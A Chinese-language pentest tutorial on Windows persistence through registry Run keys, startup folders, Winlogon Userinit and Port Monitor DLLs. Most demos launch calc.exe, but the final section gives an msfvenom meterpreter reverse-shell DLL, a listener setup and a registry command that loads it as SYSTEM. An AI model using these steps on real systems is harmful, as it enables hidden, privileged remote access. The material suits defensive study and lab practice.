一、windows注册表利用原理
windows自启动是指windows系统在启动时会自动允许一些程序或服务,这些程序要么是windows自带的,要么是用户安装的第三方程序。其中,windows自启动项也有自己的启动顺序:
1. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
2. HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
3. <Logon Prompt>
4. HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
5. HKLM\Software\Microsoft\Windows\CurrentVersion\Run
6. HKCU\Software\Microsoft\Windows\CurrentVersion\Run
7. StartUp Folder
8. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
windows自启动机制通常是通过注册表或计划任务进行实现的。在注册表中,windows自启动程序或服务注意存储在HKLM\\Software\Microsoft\Windows\CurrentVersion\Run
或HKCU\Software\Microsoft\Windows\CurrentVersion\Run
;而计划任务则是通过windows task scheduler
服务实现的。
二、通过Run和Runonce滥用实现权限维持
windows中run和runonce注册表主要有以下这些:
注册表 | 具体内容 |
---|---|
HKLM\Software\Microsoft\Windows\CurrentVersion\Run | 程序会在用户登陆时允许一次(所有用户) |
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce | 当用户登录时程序会执行,执行之后该注册表项会被清空,下次用户登录时将不会启动程序(所有用户) |
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices | 与Run的不同点只在于该程序在引导过程中就可以执行 |
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce | 与Run的不同点只在于该程序在引导过程中就可以执行 |
HKCU\Software\Microsoft\Windows\CurrentVersion\Run | 程序会在用户登陆时允许一次(当前用户) |
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce | 当用户登录时程序会执行,执行之后该注册表项会被清空,下次用户登录时将不会启动程序(当前用户) |
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices | 与Run的不同点只在于该程序在引导过程中就可以执行 |
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce | 与Run的不同点只在于该程序在引导过程中就可以执行 |
HKLM
下的注册表的修改下会应用于系统中的所有用户;HKCU
下的注册表的修改只应用于当前用户。
# 设置所有用户启动时,会弹计算机,仅执行一次
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Windows\System32\calc.exe"
直接切换用户是不会弹计算机的,但是重新启动或者注销后重新登录才会弹计算机。
三、系统启动文件夹劫持
将程序放在启动文件夹下会导致该程序在用户登录时执行。windows有两种启动文件夹。
# 位于以下目录中的程序会在指定用户登陆时启动
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 位于以下目录中的程序会在所有用户登陆时启动
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
在C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
中放了一个计算器,注销后重新登录,也会弹计算器。
四、通过WinLogon滥用维持权限
WinLogon
是windows系统的组件,用于处理与用户有关的各种行为,如扽古路、注销、在登陆时加在配置文件、锁定屏幕等。
主要有两个键值可以使WinLogon在用户登录时执行恶意程序:
# 用户登录时执行的用户初始化程序,默认为userinit.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\Userinit
# 用户登录后默认启动的程序或Shell界面。默认值为explorer.exe,即Windows资源管理器
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\shell
1、userinit
覆盖前查询其值。
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" # 查询注册表内容
2、覆盖Userinit
值。
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\calc.exe","C:\Windows\system32\userinit.exe"
3、注销后重新登录,会弹计算器。
注意:在滥用userinit和shell键时,需要保留键中的原有程序,将待启动程序添加到原有程序后面,以
,
分隔。
五、Port Monitor
打印后台处理服务(Port Spooler
)负责管理windows系统的打印作业。与该服务的交互是通过Print Spooler API
执行的,其中包含AddMonnitor
函数,用于安装Port Monitor
(本地端口监视器),并连接配置、数据和监视器文件。AddMonitor
函数能够将dll注入到spoolsv.exe
进程,以实现相应的功能。利用该技术需要管理员权限
1、MSF生成恶意的DLL文件,并监听
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.1 LPORT=8888 -f dll -o reverse_shell.dll
use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1
set lport 8888
exploit
2、将生成的DLL上传到目标主机C:\Windows\System32
中,并执行下面命令,通过编辑注册表安装一个端口监视器。
reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse_shell.dll"
# /d:后面添加路径,相对路径是C:\Windows\System32
当系统重新启动时,Print Spooler服务在启动过程中会读取
Monitors
注册表项的所有子项,并以SYSTEM权限加载Driver
键值所指定的DLL文件。
3、重启系统,获取反弹shell。